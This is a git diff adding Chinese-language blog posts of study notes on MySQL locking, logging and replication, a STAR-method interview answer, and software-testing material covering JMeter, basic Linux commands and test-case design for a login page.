分配完成,锁就会立即释放,即使插入操作还没有完成。这允许其他事务并发地进行插入操作,大大提高了性能。然而,这种方法有一个潜在的风险,就是在使用 binlog_format=STATEMENT 的主从复制环境中可能会导致数据不一致。 + +innodb_autoinc_lock_mode +innodb_autoinc_lock_mode 参数允许在这两种机制之间进行选择: + +innodb_autoinc_lock_mode = 0: 使用 AUTO-INC 锁 +innodb_autoinc_lock_mode = 1: 混合模式 +innodb_autoinc_lock_mode = 2: 使用轻量级锁 +混合模式 (innodb_autoinc_lock_mode = 1) 是两者的折中,针对不同类型的插入操作使用不同类型的锁。 + +数据不一致问题 +当使用轻量级锁并设置 binlog_format=STATEMENT 时,由于主从库不是完全按照相同的顺序执行插入操作,可能会导致数据不一致。解决这个问题的方法是设置 binlog_format=ROW,这样在复制过程中,从库会使用与主库相同的自增 ID。 + +简而言之,AUTO-INC 锁和轻量级锁都有各自的优点和缺点。AUTO-INC 锁提供了更严格的 ID 生成顺序,但降低了性能。轻量级锁 + + +在使用轻量级锁和设置binlog_format=STATEMENT的情况下,主从不一致的原因主要是因为两个事务在主库上可能是并发执行的,但在从库上是顺序执行的。 + +主库上 +假设有两个并发事务A和B: + +事务A请求自增ID,得到ID=1。 +事务B请求自增ID,得到ID=2。 +事务B完成插入,提交。 +事务A完成插入,提交。 +在这种情况下,即使事务A先开始,事务B可能先结束,因为轻量级锁允许并发插入。 + +从库上 +由于从库是顺序执行binlog的,因此它会按照A和B在主库上的提交顺序来执行。这意味着从库上事务A和B是顺序而不是并发执行的。 + +如果binlog_format=STATEMENT,从库只知道要插入一个新的记录,但不知道这个记录的ID应该是多少。因此,从库会为每个插入操作分配一个新的自增ID,这可能与主库上分配的ID不同,从而导致数据不一致。 + +解决方案 +使用binlog_format=ROW,这样binlog中会包含每个记录的实际数据,包括自增ID。这确保了从库上插入的记录将使用与主库上相同的自增ID,从而避免了数据不一致的问题。 + + +> 元数据锁(Metadata Lock,MDL) + +什么是 MDL 锁,以及它在数据库中起到什么作用? +MDL(元数据锁)是一种用于同步对数据库表结构和其他数据库对象的访问的锁机制。其主要目的是确保在进行数据修改或结构变更时数据的一致性。 + +在哪些具体的数据库操作中,MDL 锁会自动触发? +MDL 锁主要在进行 CRUD(创建、读取、更新、删除)操作以及对表结构进行变更(比如 ALTER TABLE)时自动触发。 + +为什么 MDL 锁是需要的?它解决了什么样的并发问题? +MDL 锁需要用来解决并发问题。当多个线程同时读取和修改表结构时,没有适当的锁机制可能会导致数据不一致或者操作冲突。 + +当一个长事务持有 MDL 读锁时,会出现什么情况?写锁的优先级是否高于读锁? +当一个长事务持有 MDL 读锁,其他试图进行结构性变更的操作(需要写锁)会被阻塞。写锁在获取优先级上通常高于读锁。当一个读锁和一个写锁同时请求时,通常会优先给写锁。但如果读锁已经存在,并且是由一个长事务持有的,那么即使写锁的优先级更高,也不能强制释放当前活跃的读锁。 + +如果一个长事务一直持有 MDL 读锁,造成其他请求被阻塞,你会如何处理? +发现长事务持有 MDL 读锁导致阻塞时,一种解决方案是等待该事务完成或者手动结束这个长事务。 + +MDL 锁与行锁、表锁有何不同?它们是否可以同时存在? +行锁和表锁主要用于控制对数据记录的访问,而 MDL 锁是用于同步表结构的访问。它们可以同时存在。MDL(元数据锁)主要用于保护数据库的元数据,即用于描述表结构、列类型等信息的数据。当你对一张表进行 CRUD(创建、读取、更新、删除)操作时,你实际上是在访问表的数据内容,这通常涉及到行锁或表锁。 + +然而,当你尝试更改表的结构,比如通过 ALTER TABLE 语句添加或删除列,这时你正在更改表的元数据。MDL 锁在这里确保在表结构变更期间,其他线程不能对该表进行不一致或可能导致错误的操作。 + +简而言之,行锁和表锁用于同步对表内数据的访问,而 MDL 锁用于同步对表结构(元数据)的访问。这两种锁机制可以同时存在,以确保数据库操作的完整性和一致性。 + +MDL 锁是在什么时候获得的,又是在什么时候释放的? +MDL 锁通常在事务开始时获得,并在事务提交或回滚时释放。 + +MDL 锁有哪些优点和局限性? +MDL 锁的优点包括高并发性能和防止不一致的数据修改。局限性主要在于长事务可能导致阻塞。 + + + +## 行级锁 + +基础概念:InnoDB引擎支持行级锁,主要有记录锁(Record Lock)、间隙锁(Gap Lock)和Next-Key锁。记录锁用于锁定单条记录,间隙锁用于锁定一个范围但不包括实际记录,而Next-Key锁是两者的组合。 + +#### Record Lock + +Record Lock 称为记录锁,锁住的是一条记录。而且记录锁是有 S 锁和 X 锁之分的: + +当一个事务对一条记录加了 S 型记录锁后,其他事务也可以继续对该记录加 S 型记录锁(S 型与 S 锁兼容),但是不可以对该记录加 X 型记录锁(S 型与 X 锁不兼容); +当一个事务对一条记录加了 X 型记录锁后,其他事务既不可以对该记录加 S 型记录锁(S 型与 X 锁不兼容),也不可以对该记录加 X 型记录锁(X 型与 X 锁不兼容)。 + +```shell +mysql > begin; +mysql > select * from t_test where id = 1 for update; +``` +就是对 t_test 表中主键 id 为 1 的这条记录加上 X 型的记录锁,这样其他事务就无法对这条记录进行修改了。 + +#### Gap Lock + +Gap Lock 称为间隙锁,只存在于可重复读隔离级别,目的是为了解决可重复读隔离级别下幻读的现象。 + +假设,表中有一个范围 id 为(3,5)间隙锁,那么其他事务就无法插入 id = 4 这条记录了,这样就有效的防止幻读现象的发生。 + +间隙锁虽然存在 X 型间隙锁和 S 型间隙锁,但是并没有什么区别,间隙锁之间是兼容的,即两个事务可以同时持有包含共同间隙范围的间隙锁,并不存在互斥关系,因为间隙锁的目的是防止插入幻影记录而提出的。 + + +#### Next-Key Lock + +Next-Key Lock 称为临键锁,是 Record Lock + Gap Lock 的组合,锁定一个范围,并且锁定记录本身。 + +假设,表中有一个范围 id 为(3,5] 的 next-key lock,那么其他事务即不能插入 id = 4 记录,也不能修改 id = 5 这条记录。 + +所以,next-key lock 即能保护该记录,又能阻止其他事务将新纪录插入到被保护记录前面的间隙中。 + +next-key lock 是包含间隙锁+记录锁的,如果一个事务获取了 X 型的 next-key lock,那么另外一个事务在获取相同范围的 X 型的 next-key lock 时,是会被阻塞的。 + +比如,一个事务持有了范围为 (1, 10] 的 X 型的 next-key lock,那么另外一个事务在获取相同范围的 X 型的 next-key lock 时,就会被阻塞。 + +虽然相同范围的间隙锁是多个事务相互兼容的,但对于记录锁,我们是要考虑 X 型与 S 型关系,X 型的记录锁与 X 型的记录锁是冲突的 + + +#### 总结 + +隔离级别:在可重复读(REPEATABLE READ)隔离级别下,使用间隙锁和Next-Key锁可以有效防止幻读。在读已提交(READ COMMITTED)级别下,通常只使用记录锁。 + +操作语句:SELECT ... FOR UPDATE触发X锁,而SELECT ... LOCK IN SHARE MODE触发S锁。 + +锁升级与死锁:锁升级通常发生在并发高或资源争抢的情况下,可能导致死锁。避免方法包括按照固定的顺序获取锁或使用超时机制。 + +性能影响:行级锁允许更高的并发,但也可能导致锁竞争,特别是在高并发环境下。 + +特殊类型的锁:插入意向锁是一种特殊的间隙锁,用于标明一个事务希望在某个范围内插入记录,通常用于避免插入时的冲突。 + +实际案例:在一个电商系统中,为了避免库存超卖,我们使用了SELECT ... FOR UPDATE来锁定某个商品的库存记录。 + +与其他锁的关系:表锁和MDL锁更为粗粒度,用于整张表。行级锁与它们可以共存,但粒度和用途有区别。 + +数据库特定知识:InnoDB支持行级锁,而MyISAM只支持表级锁,这使得InnoDB更适用于需要高并发读写的场景。 + + + + + + +#### InnoDB 引擎是怎么加行级锁? + +普通的 select 语句是不会对记录加锁的(除了串行化隔离级别),因为它属于快照读,是通过 MVCC(多版本并发控制)实现的。 + +如果要在查询时对记录加行级锁,可以使用下面这两个方式,这两种查询会加锁的语句称为锁定读。 + +```shell +//对读取的记录加共享锁(S型锁) +select ... lock in share mode; +``` + +```shell +//对读取的记录加独占锁(X型锁) +select ... for update; +``` +上面这两条语句必须在一个事务中,因为当事务提交了,锁就会被释放,所以在使用这两条语句的时候,要加上 begin 或者 start transaction 开启事务的语句。 + +除了上面这两条锁定读语句会加行级锁之外,update 和 delete 操作都会加行级锁,且锁的类型都是独占锁(X型锁)。 +```shell +//对操作的记录加独占锁(X型锁) +update table .... where id = 1; +``` +```shell +//对操作的记录加独占锁(X型锁) +delete from table where id = 1; +``` +共享锁(S锁)满足读读共享,读写互斥。独占锁(X锁)满足写写互斥、读写互斥。 + +#### InnoDB 加锁规则 + + +唯一索引等值查询 +存在的记录:由于唯一索引确保每个值都是唯一的,因此当一个存在的记录被查询时,只需锁定该特定记录。这里的Next-Key锁会退化为记录锁。 + +不存在的记录:在这种情况下,锁会锁定查询值应该插入的位置,即"间隙"。这样可以确保在当前事务提交前,其他事务不能在该间隙内插入新的记录。 + +非唯一索引等值查询 +存在的记录:因为非唯一索引允许多个记录具有相同的索引值,所以查询可能会返回多个结果。因此,数据库需要扫描所有具有相同索引值的记录,并给它们加上Next-Key锁。同时,在扫描过程中找到的第一个不符合条件的记录会获得一个退化为间隙锁的Next-Key锁。 + +不存在的记录:如果没有符合查询条件的记录,仅需要锁定不符合条件的第一个记录的“间隙”。 + +范围查询的不同 +唯一索引:在范围查询中,Next-Key锁也可能会退化为间隙锁或记录锁,这取决于查询的特定范围和结果集。 + +非唯一索引:由于范围查询可能涉及多个具有相同索引值的记录,因此Next-Key锁不会退化为间隙锁或记录锁。 + +唯一索引在满足一些条件的时候,索引的 next-key lock 退化为间隙锁或者记录锁。 +非唯一索引范围查询,索引的 next-key lock 不会退化为间隙锁和记录锁。 + + +> 日志 + +undo log(回滚日志):是 Innodb 存储引擎层生成的日志,实现了事务中的原子性,主要用于事务回滚和 MVCC。 +redo log(重做日志):是 Innodb 存储引擎层生成的日志,实现了事务中的持久性,主要用于掉电等故障恢复; +binlog (归档日志):是 Server 层生成的日志,主要用于数据备份和主从复制; + +> Undo Log 触发时机 + +每当 InnoDB 引擎对一条记录进行操作(修改、删除、新增)时,要把回滚时需要的信息都记录到 undo log 里,比如: +在插入一条记录时,要把这条记录的主键值记下来,这样之后回滚时只需要把这个主键值对应的记录删掉就好了; +在删除一条记录时,要把这条记录中的内容都记下来,这样之后回滚时再把由这些内容组成的记录插入到表中就好了; +在更新一条记录时,要把被更新的列的旧值记下来,这样之后回滚时再把这些列更新为旧值就好了 + +> Undo Log 日志 + +作用 +实现事务回滚,保障事务的原子性。事务处理过程中,如果出现了错误或者用户执 行了 ROLLBACK 语句,MySQL 可以利用 undo log 中的历史数据将数据恢复到事务开始之前的状态。 + +实现 MVCC(多版本并发控制)关键因素之一。MVCC 是通过 ReadView + undo log 实现的。undo log 为每条记录保存多份历史数据,MySQL 在执行快照读(普通 select 语句)的时候,会根据事务的 Read View 里的信息,顺着 undo log 的版本链找到满足其可见性的记录。 + +一条记录的每一次更新操作产生的 undo log 格式都有一个 roll_pointer 指针和一个 trx_id 事务id: + +通过 trx_id 可以知道该记录是被哪个事务修改的; +通过 roll_pointer 指针可以将这些 undo log 串成一个链表,这个链表就被称为版本链; + + +> 主从复制怎么实现? + +MySQL 的主从复制依赖于 binlog ,也就是记录 MySQL 上的所有变化并以二进制形式保存在磁盘上。复制的过程就是将 binlog 中的数据从主库传输到从库上。 + +这个过程一般是异步的,也就是主库上执行事务操作的线程不会等待复制 binlog 的线程同步完成。 + +MySQL 主从复制过程 + +MySQL 集群的主从复制过程梳理成 3 个阶段: + +写入 Binlog:主库写 binlog 日志,提交事务,并更新本地存储数据。 +同步 Binlog:把 binlog 复制到所有从库上,每个从库把 binlog 写到暂存日志中。 +回放 Binlog:回放 binlog,并更新存储引擎中的数据。 + +具体详细过程如下: +MySQL 主库在收到客户端提交事务的请求之后,会先写入 binlog,再提交事务,更新存储引擎中的数据,事务提交完成后,返回给客户端“操作成功”的响应。 +从库会创建一个专门的 I/O 线程,连接主库的 log dump 线程,来接收主库的 binlog 日志,再把 binlog 信息写入 relay log 的中继日志里,再返回给主库“复制成功”的响应。 +从库会创建一个用于回放 binlog 的线程,去读 relay log 中继日志,然后回放 binlog 更新存储引擎中的数据,最终实现主从的数据一致性。 + + +> MYSQL 中的二阶段提交 + +从图中可看出,事务的提交过程有两个阶段,就是将 redo log 的写入拆成了两个步骤:prepare 和 commit,中间再穿插写入binlog,具体如下: + +prepare 阶段:将 XID(内部 XA 事务的 ID) 写入到 redo log,同时将 redo log 对应的事务状态设置为 prepare,然后将 redo log 持久化到磁盘(innodb_flush_log_at_trx_commit = 1 的作用); + +commit 阶段:把 XID 写入到 binlog,然后将 binlog 持久化到磁盘(sync_binlog = 1 的作用),接着调用引擎的提交事务接口,将 redo log 状态设置为 commit,此时该状态并不需要持久化到磁盘,只需要 write 到文件系统的 page cache 中就够了,因为只要 binlog 写磁盘成功,就算 redo log 的状态还是 prepare 也没有关系,一样会被认为事务已经执行成功; + +> 两阶段提交有什么问题? + +两阶段提交虽然保证了两个日志文件的数据一致性,但是性能很差,主要有两个方面的影响: + +磁盘 I/O 次数高:对于“双1”配置,每个事务提交都会进行两次 fsync(刷盘),一次是 redo log 刷盘,另一次是 binlog 刷盘。 +锁竞争激烈:两阶段提交虽然能够保证「单事务」两个日志的内容一致,但在「多事务」的情况下,却不能保证两者的提交顺序一致,因此,在两阶段提交的流程基础上,还需要加一个锁来保证提交的原子性,从而保证多事务的情况下,两个日志的提交顺序一致。 + + +> 具体更新一条记录 UPDATE t_user SET name = 'xiaolin' WHERE id = 1; 的流程? + +执行器负责具体执行,会调用存储引擎的接口,通过主键索引树搜索获取 id = 1 这一行记录: +如果 id=1 这一行所在的数据页本来就在 buffer pool 中,就直接返回给执行器更新; +如果记录不在 buffer pool,将数据页从磁盘读入到 buffer pool,返回记录给执行器。 +执行器得到聚簇索引记录后,会看一下更新前的记录和更新后的记录是否一样: +如果一样的话就不进行后续更新流程; +如果不一样的话就把更新前的记录和更新后的记录都当作参数传给 InnoDB 层,让 InnoDB 真正的执行更新记录的操作; +开启事务, InnoDB 层更新记录前,首先要记录相应的 undo log,因为这是更新操作,需要把被更新的列的旧值记下来,也就是要生成一条 undo log,undo log 会写入 Buffer Pool 中的 Undo 页面,不过在内存修改该 Undo 页面后,需要记录对应的 redo log。 +InnoDB 层开始更新记录,会先更新内存(同时标记为脏页),然后将记录写到 redo log 里面,这个时候更新就算完成了。为了减少磁盘I/O,不会立即将脏页写入磁盘,后续由后台线程选择一个合适的时机将脏页写入到磁盘。这就是 WAL 技术,MySQL 的写操作并不是立刻写到磁盘上,而是先写 redo 日志,然后在合适的时间再将修改的行数据写到磁盘上。 +至此,一条记录更新完了。 +在一条更新语句执行完成后,然后开始记录该语句对应的 binlog,此时记录的 binlog 会被保存到 binlog cache,并没有刷新到硬盘上的 binlog 文件,在事务提交时才会统一将该事务运行过程中的所有 binlog 刷新到硬盘。 +事务提交(为了方便说明,这里不说组提交的过程,只说两阶段提交): +prepare 阶段:将 redo log 对应的事务状态设置为 prepare,然后将 redo log 刷新到硬盘; +commit 阶段:将 binlog 刷新到磁盘,接着调用引擎的提交事务接口,将 redo log 状态设置为 commit(将事务设置为 commit 状态后,刷入到磁盘 redo log 文件); +至此,一条更新语句执行完成。 \ No newline at end of file diff --git a/_posts/2024-11-19-test-markdown.md b/_posts/2024-11-19-test-markdown.md new file mode 100644 index 000000000000..bca93ad923c3 --- /dev/null +++ b/_posts/2024-11-19-test-markdown.md @@ -0,0 +1,26 @@ +--- +layout: post +title: STAR 方法 +subtitle: +tags: [STAR] +comments: true +--- + + +Situation(情境): 开始时,你可以描述遇到的一个特定问题。例如,团队可能遇到了性能瓶颈或者在微服务架构中遇到了难以追踪的错误。 + +"在我的实习期间,正在努力解决在微服务环境下的性能问题和错误追踪问题。由于使用了多个服务,一旦出现问题,就很难迅速找到问题的根源。" + +Task(任务): 接着,描述你的具体任务。这里是凸显难度的好地方。 + +"我的任务是引入一个分布式追踪系统,以便能更有效地诊断问题。由于的服务使用了多种编程语言和框架,这增加了集成的复杂性。" + +Action(行动): 然后,详细说明你采取了哪些具体措施来解决问题。可以详细描述你的思路、调研过程、遇到的挑战以及如何克服这些挑战。 + +"首先进行了市场调研,比较了Zipkin、Jaeger等几个热门的分布式追踪工具。选择了最适合需求的工具后,我开始进行代码集成。过程中遇到了数据不一致和服务间通信延迟的问题。经过深入的分析和调优,优化了数据采样率和存储机制,并成功解决了这些问题。" + +Result(结果): 最后,展示你的努力是如何产生积极影响的。 + +"引入分布式追踪系统后,成功地减少了诊断问题的时间,提高了系统的可靠性和性能。这不仅得到了团队的高度评价,还在一个关键的业务时段避免了可能的系统故障. + + diff --git a/_posts/2024-11-20-test-markdown.md b/_posts/2024-11-20-test-markdown.md new file mode 100644 index 000000000000..dedff4f3602c --- /dev/null +++ b/_posts/2024-11-20-test-markdown.md @@ -0,0 +1,1706 @@ +--- +layout: post +title: 测试之道 +subtitle: +tags: [测试] +comments: true +--- + +### BDD + +BDD(行为驱动开发) +本质: +专注于系统行为和业务逻辑。 +通常使用自然语言描述,易于非技术人员理解。 +将需求和测试紧密结合。 +应用场景: +当需要与非技术人员(如产品经理或业务分析师)讨论需求时。 +当想强调软件应该做什么,而不是怎么做。 + +在BDD(行为驱动开发)中,自然语言描述通常遵循“Given-When-Then”的模式。 + +统一模板: +```text +Feature: [功能描述] + + Scenario: [场景描述] + Given [前置条件] + When [操作或事件] + Then [预期结果] + +``` + +```text +Feature: 计算器的加法功能 + + Scenario: 两个正数的加法 + Given 计算器已开启 + When 输入数字 1 和 2 进行加法运算 + Then 结果应为 3 + + Scenario: 加法与清零功能 + Given 计算器已开启并显示结果为 3 + When 按下清零键 + Then 显示结果应为 0 +``` + +### TDD + +TDD(测试驱动开发) +本质: +先编写测试,然后编写满足测试的最简代码。 +侧重于开发过程,而不仅仅是测试。 +应用场景: +适用于几乎所有软件项目,特别是新项目。 +当想确保的代码能正常工作,并且容易维护。 + +### MBT +MBT(模型驱动测试) +本质: +使用模型(通常是状态机或图)来描述系统行为。 +根据模型自动生成测试用例。 +应用场景: +当系统非常复杂,并且状态转换多。 +适用于硬件测试,或者需要与硬件交互的软件。 +当手动编写和维护测试用例成本过高。 +总结:BDD强调业务和行为,TDD强调开发过程,而MBT强调通过模型来自动化和简化测试。根据的项目需求,可能会选择其中一个,或者将它们结合使用。 + +## 性能分析方法 + + +### Load Testing(负载测试) +优点: 用于模拟多用户并发访问,找出系统在高负载下的性能瓶颈。 +缺点: 需要大量的资源和时间来模拟真实环境。 + +### Profiling(性能剖析) +优点: 可以深入到代码级别,找出性能问题的具体来源。 +缺点: 对代码有侵入性,可能会影响系统的正常运行。 + +### Monitoring(实时监控) +优点: 在生产环境下收集数据,非常接近实际情况。 +缺点: 只能发现问题,但不一定能定位问题源。 + +### Stress Testing(压力测试) +优点: 能找出系统的极限性能。 +缺点: 不一定适用于所有场景,且可能会影响现有用户。 + +### APM Tools(应用性能管理工具) +优点: 提供全面的性能指标,包括延迟、错误率等。 +缺点: 通常需要购买商业软件,成本高。 + +### Database Query Analysis(数据库查询分析) +优点: 针对数据库性能瓶颈进行优化。 +缺点: 专注于数据库,可能会忽视其他问题。 + +### Code Review(代码审查) +优点: 通过人工检查来预防性能问题。 +缺点: 很依赖个人经验,可能会漏掉一些非明显的问题。 + +## JMeter + +概述、安装 JMeter 和插件 + +第一个构建块 + +常用元素 - 线程组 +常用元素 - 配置元素 +常用元素 - HTTP 请求采样器 + + +常用元素 - 听众 +常用元素 - 控制器 +常用元素 - 控制器 + + +常用元素 - 计时器 +节奏与思考时间 +范围规则和执行顺序 +知识检查#4 +利用数据集 +JMeter 日志记录 +后处理器 - 正则表达式、JSON 路径、边界提取器 +使用 HTTP(S) 测试脚本记录器创建脚本 +使用 JMeter 变量和属性测试参数化 + + + +## Linux相关 + + +理论题/选择题: + +> 简要描述Linux三剑客(awk、grep、sed)各自的主要用途。 + +awk:主要用于文本和数据提取及处理。它可以定义多种文本操作任务,并在文件或输入流中的每一行上执行这些任务。 + +grep:用于在文本文件中搜索匹配特定模式的行。非常适用于快速文本搜索。 + +sed:主要用于流式文本编辑,可以对输入的文本进行各种替换、删除、插入等操作。 + +> 使用awk对给定的文本文件进行特定字段的提取。 + +假设有一个逗号分隔的文本文件data.csv,内容如下: +```shell +Copy code +John,25,Engineer +Sarah,30,Doctor +``` +可以使用下面的awk命令来提取第一个和第三个字段: + +```shell +awk -F',' '{print $1, $3}' data.csv +``` + +> 使用sed进行文本替换。 + +假设你有一个文本文件text.txt,内容如下: +```shell +Hello World +``` +可以使用下面的sed命令来替换"World"为"Universe": + +```shell +sed 's/World/Universe/g' text.txt +``` +> 编写一个grep命令,找出包含或不包含某些特定字符串的行。 + +使用grep找出包含或不包含某些特定字符串的行 + +假设你有一个文本文件sample.txt,内容如下: +```text +apple +orange +banana +``` +找出包含apple的行: + +```shell +grep 'apple' sample.txt +``` +找出不包含apple的行: +```shell +grep -v 'apple' sample.txt +``` +> 什么是iptables?它在网络配置中主要用于什么? + +iptables是Linux系统中的一个用户空间工具,用于配置内核防火墙。在网络配置中,它主要用于定义一套规则,控制网络包的转发、接收和发送。 + +> 编写一个简单的iptables规则来阻止来自特定IP地址的所有网络流量。 + +```shell +sudo iptables -A INPUT -s 192.168.1.1 -j DROP +``` +> 与tcpdump相关的命令是什么,它的作用是什么? + +tcpdump:用于捕获和分析网络流量。它可以抓取经过一个网络接口的数据包,并提供详细的信息,如源/目的IP地址、源/目的端口等,以便进行网络诊断或分析。 + +> 使用tcpdump捕获特定类型的网络包。 + +例如,要捕获所有来自IP地址192.168.1.1的TCP包,你可以使用以下命令: +```shell +sudo tcpdump tcp and src 192.168.1.1 +``` + +> 列出系统中运行的前5个占用CPU最多的进程。 + + +```shell +ps -eo %cpu,command | sort -k1 -n -r | head -n 6 +``` +ps -eo %cpu,command: 运行ps命令来显示所有进程的CPU使用率(%cpu)和命令行(command)。 + +sort -k1 -n -r: 用sort命令按第一个字段(即CPU使用率)进行排序。选项-n表示按数值排序,-r表示逆序(从大到小)。 + +head -n 6: 使用head命令来只显示排序后的前6行。这里是6行而不是5行,因为第一行通常是列标题。 + +> 编写一个简单的Shell脚本,用于自动执行一系列的系统监测任务。 + +```shell +#!/bin/bash +echo "Disk Usage:" +df -h +echo "Memory Usage:" +free -m +echo "CPU Load:" +top -n 1 | grep "Load Avg" +``` + + +> 发现一个服务器突然响应缓慢,你会用哪些命令或方法来诊断问题? + +top或htop:查看CPU和内存使用情况。 +iotop:检查磁盘I/O。 +sudo fs_usage:MacOS不自带iotop工具。可以使用sudo fs_usage来监视文件系统的使用情况,但这不是iotop的直接替代。 +netstat:检查网络连接。 +dmesg | tail:查看内核日志的最后几行。 + +> 优化系统或网络性能: + +诊断: +使用top和iotop诊断了系统和IO性能。 +使用tcpdump和iptables记录来自特定IP地址的网络流量。 +数据库查询日志也被审查以找出低效的查询。 + +解决方案: +优化数据库查询: 发现某些复杂的SQL查询没有使用索引,导致查询效率低下。通过添加索引,查询时间得以显著减少。 + +网络优化: +发现TCP连接中有大量的TIME_WAIT状态。通过调整/proc/sys/net/ipv4/tcp_tw_reuse和/proc/sys/net/ipv4/tcp_tw_recycle的值,减少了TIME_WAIT连接数。 +使用iptables限制了来自某些可疑IP地址的访问,减轻了服务器的负担。 +使用缓存: 对于频繁访问的数据库查询结果,使用了Redis作为缓存,进一步减少了数据库的负担。 +负载均衡: 为了分散流量,引入了一个负载均衡器,并对其进行了精细的配置。 + + + +# 软件测试45讲学习笔记 + + +前言: + +> 很多人第一印象会觉得做测试比做开发简单很多,但是我想说,在这个世界上,你想把任何一件事做好、做到极致都没那么容易. + +> 类别:嵌入式系统测试、金融平台单元测试、平台 SDK 测试、轨道交通安全软件测试、Web Service 测试、大型电商网站 GUI 自动化以及性能全链路压测等。 + +> 能力要求:测试工程师的知识面、测试设计能力、测试开发能力和测试平台化抽象能力 + +> 具体要求:需要从业务本身出发来对软件进行手工测试验证,还需要掌握完整的自动化测试开发技术来设计自动化测试用例。 + +> 测试数据的准备工具化,服务化,最终实现平台化。 + +> 快速学习的能力,能迅速掌握被测软件的业务功能与内部架构,.并在此基础上运用各种测试方法,尽可能多地发现潜在缺陷,并能够在已知缺陷的基础上进一步发现相关的连带缺陷。 + +> 第一步,成为互联网时代合格的测试工程师。比开发人员更全面的计算机基础知识,了解基础架构,安全攻击,软件性能,用户体验。 + +> 第二步,成为互联网时代优秀的测试工程师。,合格的测试工程师关注的是纯粹的测试,而优秀的测试工程师关注更多的是软件整体的质量 + +> 第三步,成为互联网时代的测试架构师。无论是 GUI 还是 API,都需要一套高效的能够支持高并发的测试执行基础架构;再比如,面对测试过程中的大量差异性数据要求,需要统一的测试数据准备平台;再比如,为了可以更方便地和持续集成与发布系统(CI/CD)以解耦的形式做集成,需要统一发起测试执行的接口。 + +## 01 | 用户登陆测试 + + +> 黑盒测试方法 + +等价类划分方法,是将所有可能的输入数据划分成若干个子集,在每个子集中,如果任意一个输入数据对于揭露程序中潜在错误都具有同等效果,那么这样的子集就构成了一个等价类。后续只要从每个等价类中任意选取一个值进行测试,就可以用少量具有代表性的测试输入取得较好的测试覆盖结果。 + +边界值分析方法,是选取输入、输出的边界值进行测试。因为通常大量的软件错误是发生在输入或输出范围的边界上,所以需要对边界值进行重点测试,通常选取正好等于、刚刚大于或刚刚小于边界的值作为测试数据。 + + +现在,针对“用户登录”功能,基于等价类划分和边界值分析方法,我们设计的测试用例包括: +输入已注册的用户名和正确的密码,验证是否登录成功; +输入已注册的用户名和不正确的密码,验证是否登录失败,并且提示信息正确; +输入未注册的用户名和任意密码,验证是否登录失败,并且提示信息正确; +用户名和密码两者都为空,验证是否登录失败,并且提示信息正确; +用户名和密码两者之一为空,验证是否登录失败,并且提示信息正确; +如果登录功能启用了验证码功能,在用户名和密码正确的前提下,输入正确的验证码,验证是否登录成功; +如果登录功能启用了验证码功能,在用户名和密码正确的前提下,输入错误的验证码,验证是否登录失败,并且提示信息正确。 + + +经验的测试工程师会再增加的测试用例: +用户名和密码是否大小写敏感; +页面上的密码框是否加密显示; +后台系统创建的用户第一次登录成功时,是否提示修改密码; +忘记用户名和忘记密码的功能是否可用; +前端页面是否根据设计要求限制用户名和密码长度; +如果登录功能需要验证码,点击验证码图片是否可以更换验证码,更换后的验证码是否可用; +刷新页面是否会刷新验证码; +如果验证码具有时效性,需要分别验证时效内和时效外验证码的有效性; +用户登录成功但是会话超时后,继续操作是否会重定向到用户登录界面; +不同级别的用户,比如管理员用户和普通用户,登录系统后的权限是否正确; +页面默认焦点是否定位在用户名的输入框中; +快捷键 Tab 和 Enter 等,是否可以正常使用。 + +#### 功能性和非功能性(安全/性能/兼容性/风险/用户) + +显式功能性需求(Functional requirement)的含义从字面上就可以很好地理解,指的是软件本身需要实现的具体功能, 比如“正常用户使用正确的用户名和密码可以成功登录”、“非注册用户无法登录”等,这都是属于典型的显式功能性需求描述。 +那什么是非功能性需求(Non-functional requirement)呢?从软件测试的维度来看,非功能性需求主要涉及安全性、性能以及兼容性三大方面。 在上面所有的测试用例设计中,我们完全没有考虑对非功能性需求的测试,但这些往往是决定软件质量的关键因素。 + + +#### 安全性测试 + +用户密码后台存储是否加密; +用户密码在网络传输过程中是否加密; +密码是否具有有效期,密码有效期到期后,是否提示需要修改密码; +不登录的情况下,在浏览器中直接输入登录后的 URL 地址,验证是否会重新定向到用户登录界面; +密码输入框是否不支持复制和粘贴; +密码输入框内输入的密码是否都可以在页面源码模式下被查看; +用户名和密码的输入框中分别输入典型的“SQL 注入攻击”字符串,验证系统的返回页面; +用户名和密码的输入框中分别输入典型的“XSS 跨站脚本攻击”字符串,验证系统行为是否被篡改; +连续多次登录失败情况下,系统是否会阻止后续的尝试以应对暴力破解; +同一用户在同一终端的多种浏览器上登录,验证登录功能的互斥性是否符合设计预期; +同一用户先后在多台终端的浏览器上登录,验证登录是否具有互斥性。 +是否可以使用登录的API发送登录请求,并绕开验证码校验 +是否可以用抓包工具抓到的请求包直接登录 +截取到的token等信息,是否可以在其他终端上直接使用,绕开登录。token过期时间校验 +除了前端校验格式长度等,后端是否也校验? +登录后输入登录URL,是否还能再次登录?如果能,原登录用户是否变得无效 +登录错误后的提示是否有安全隐患 + + +#### 性能压力测试 + +单用户登录的响应时间是否小于 3 秒; +单用户登录时,后台请求数量是否过多; +高并发场景下用户登录的响应时间是否小于 5 秒; +高并发场景下服务端的监控指标是否符合预期; +高集合点并发场景下,是否存在资源死锁和不合理的资源等待; +长时间大量用户连续登录和登出,服务器端是否存在内存泄漏。 + +#### 兼容性测试 + +不同浏览器下,验证登录页面的显示以及功能正确性; +相同浏览器的不同版本下,验证登录页面的显示以及功能正确性; +不同移动设备终端的不同浏览器下,验证登录页面的显示以及功能正确性; +不同分辨率的界面下,验证登录页面的显示以及功能正确性。 + + +#### 网络延迟和弱网络场景下的测试 + +网络延迟或者弱网或者切换网络或者断网时正常登录是否正常 +是否支持第三方登录 +是否可记住密码,记住的密码保存是否加密 +记住密码是否有有效期,有有效期,过期之后是否会清空密码 + +常规用例中,用户名密码是否支持特殊字符和中文等 + +一个优秀的测试工程师必须具有很宽广的知识面,如果你不能对被测系统的设计有深入的理解、不明白安全攻击的基本原理、没有掌握性能测试的基本设计方法,很难设计出“有的放矢”的测试用例。、 + +> 站在用户的角度对需求有深入的了解,站在开发的角度对系统有深入的了解,同时站在安全的角度对系统安全有深入的了解,站在系统资源角度对系统性能有深入的了解 + +#### APP 端测试 + +1、登录失败后二次登录 +(1)输入正确的用户名,不输入密码,点击登录;登录失败后,再次输入正确的密码登录并观察登录情况 +(2)输入正确的用户名和错误的密码登录失败后,再次输入正确的密码登录并观察登录情况 +(3)输入未注册的用户和任意密码登录失败后,再次输入正确的用户名和密码,观察登录情况 +2、修改密码后 +(1)修改完密码后是否重定向到登录界面 +(2)修改完密码后,分别使用原密码和新密码登录 